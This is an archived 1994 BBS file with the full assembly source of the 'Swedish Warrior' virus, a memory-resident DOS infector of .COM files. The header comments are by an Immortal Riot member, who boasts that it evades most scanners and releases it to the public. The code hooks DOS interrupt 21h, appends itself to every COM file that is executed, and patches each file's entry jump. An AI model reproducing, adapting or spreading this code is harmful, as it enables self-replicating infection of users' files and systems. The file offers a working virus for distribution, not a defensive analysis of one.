The Unsorted BBS Collection/thegreatunsorted.tar/thegreatunsorted/live_viruses/virus_collections/sw.asm

Assembly Source File | 1994-01-05 | 4KB | 223 lines

; VirusName: Swedish Warrior
; Origin   : Sweden
; Author   : Lord Zero
;
; Okey, I decided to include this virus, of many reasons. But first
; let's give some information about LOC (Logical Coders).
;
; LOC (Logical Coders) turned out to be a demo-group instead of a Virus-
; group, that I thought it was. THM (Trojan Horse Maker 1.10) was just
; released by Lord Zero, ie, NOT a LOC product. Lord Zero was also
; kicked from LOC after LOC noticed 'their' release of THM.
;
; Then why release it? Well It can't however still not be detected
; by any scanner (except Tbscan's Heuristic!). And it's a shame to
; see a virus being programmed, but not given to the major public.
;
; A message to all of LOC, Sorry for state "LoC the new Swedish
; virus writing group", but what was I suppose to think?
;
; I wish Lord Zero my best in his single career, or what-ever..
;                      / The Unforgiven/Immortal Riot
; ──-──────-───────────--────────────--───────--─-─────────────-─────-─
;                    SWEDISH WARRIOR
; ──-──────-───────────--────────────--───────--─-─────────────-─────-─
; A hardly commented non-overwriting memory resident *.COM infector.

        .MODEL TINY
        .CODE
        org    100h


Start:
        call    go
go:        pop    bp
        push    ax
        push    cx
        sub    bp,offset go
        mov    ax,3D03h
        mov    dx,9eh
        int    21h
        jnc    ok

        mov    cx,cs
        mov    ds,cx
        mov    es,cx

        mov    cx,es
        dec    cx
        mov    es,cx

        mov    bx,es:[03h]

        mov    dx,offset Finish-offset Start
        mov    cl,4
        shr    dx,cl
        add    dx,4

        mov    cx,es
        inc    cx
        mov    es,cx

        sub    bx,dx
        mov    ah,4Ah
        int    21h

        jc    ok
        dec    dx
        mov    ah,48h
        mov    bx,dx
        int    21h

        jc    ok

        dec    ax
        mov    es,ax
        mov    cx,8
        mov    es:[01],cx
        mov    si,offset offset start
        add    si,bp
        sub    ax,0Fh
        mov    es,ax
        mov    di,0100h
        mov    cx,offset Finish-offset Start
        cld
        rep    movsb
        xor    ax,ax
        mov    ds,ax
        mov    di,offset oldint21
        mov    si,084h
        mov    bx,offset tsr
        call    maketsr
ok:
        push    cs
        pop    es
        push    es
        pop    ds
        mov    di,0100h
        mov    si,offset buffer
        add    si,bp
        movsw
        movsb
        pop    cx
        pop    ax
        xor    dx,dx
        push    dx
        xor    bp,bp
        xor    si,si
        xor    di,di
        mov    bx,0100h
        push    bx
        xor    bx,bx
        retn
        db    'Swedish Warrior v1.0 by Lord Zer0.'
buffer        db    90h,0CDh,20h
oldint21:
        dd    ?
new_jmp        db    0e9h,00h,00h
tsr:
        pushf
        cmp    ah,4Bh           ; check for execution,
        je    infect           ; if so, infect it....
        cmp    ax,3D03h
        jne    gooo
        popf
        iret
gooo:
        popf
        jmp    dword ptr cs:[oldint21]
infect:
        push    ax
        push    bx
        push    cx
        push    dx
        push    bp
        push    si
        push    di
        push    ds
        push    es
        mov    ax,4300h
        int    21h
        jc    quit
        push    cx
        xor    cx,cx
        mov    ax,4301h
        int    21h

        mov    ax,3d02h
        int    21h
        push    ds
        push    dx
        push    cs
        pop    ds
        mov    bx,ax
        mov    ah,3fh
        mov    dx,offset buffer
        mov    cx,3
        int    21h
        cmp    word ptr cs:[buffer],'ZM'
        je    quitexe

        mov    ax,4202h
        xor    cx,cx
        xor    dx,dx
        int    21h

        sub    ax,offset finish-offset start+3
        cmp    ax,word ptr cs:[buffer+1]
        je    quitexe
        add    ax,offset finish-offset start
        mov    word ptr cs:[new_jmp+1],ax

        mov    ah,40h
        mov    cx,offset finish-offset start
        mov    dx,0100h
        int    21h
        jc    quitexe

        mov    ax,4200h
        xor    cx,cx
        xor    dx,dx
        int    21h

        mov    ah,40h
        mov    cl,3
        mov    dx,offset new_jmp
        int    21h
quitexe:
        mov    ax,5700h
        int    21h
        inc    al
        int    21h
        mov    ah,3eh
        int    21h
        pop    dx
        pop    ds

        pop    cx
        mov    ax,4301h
        int    21h
quit:
        pop    es
        pop    ds
        pop    di
        pop    si
        pop    bp
        pop    dx
        pop    cx
        pop    bx
        pop    ax
        jmp    gooo
maketsr:
        mov    ax,[si]
        mov    es:[di],ax
        mov    ax,[si+2]
        mov    es:[di+2],ax

        cli                ; Disable interrupts
        mov    ds:[si],bx
        mov    ds:[si+2],es
        sti                ; Enable interrupts
        ret
finish:
        end    start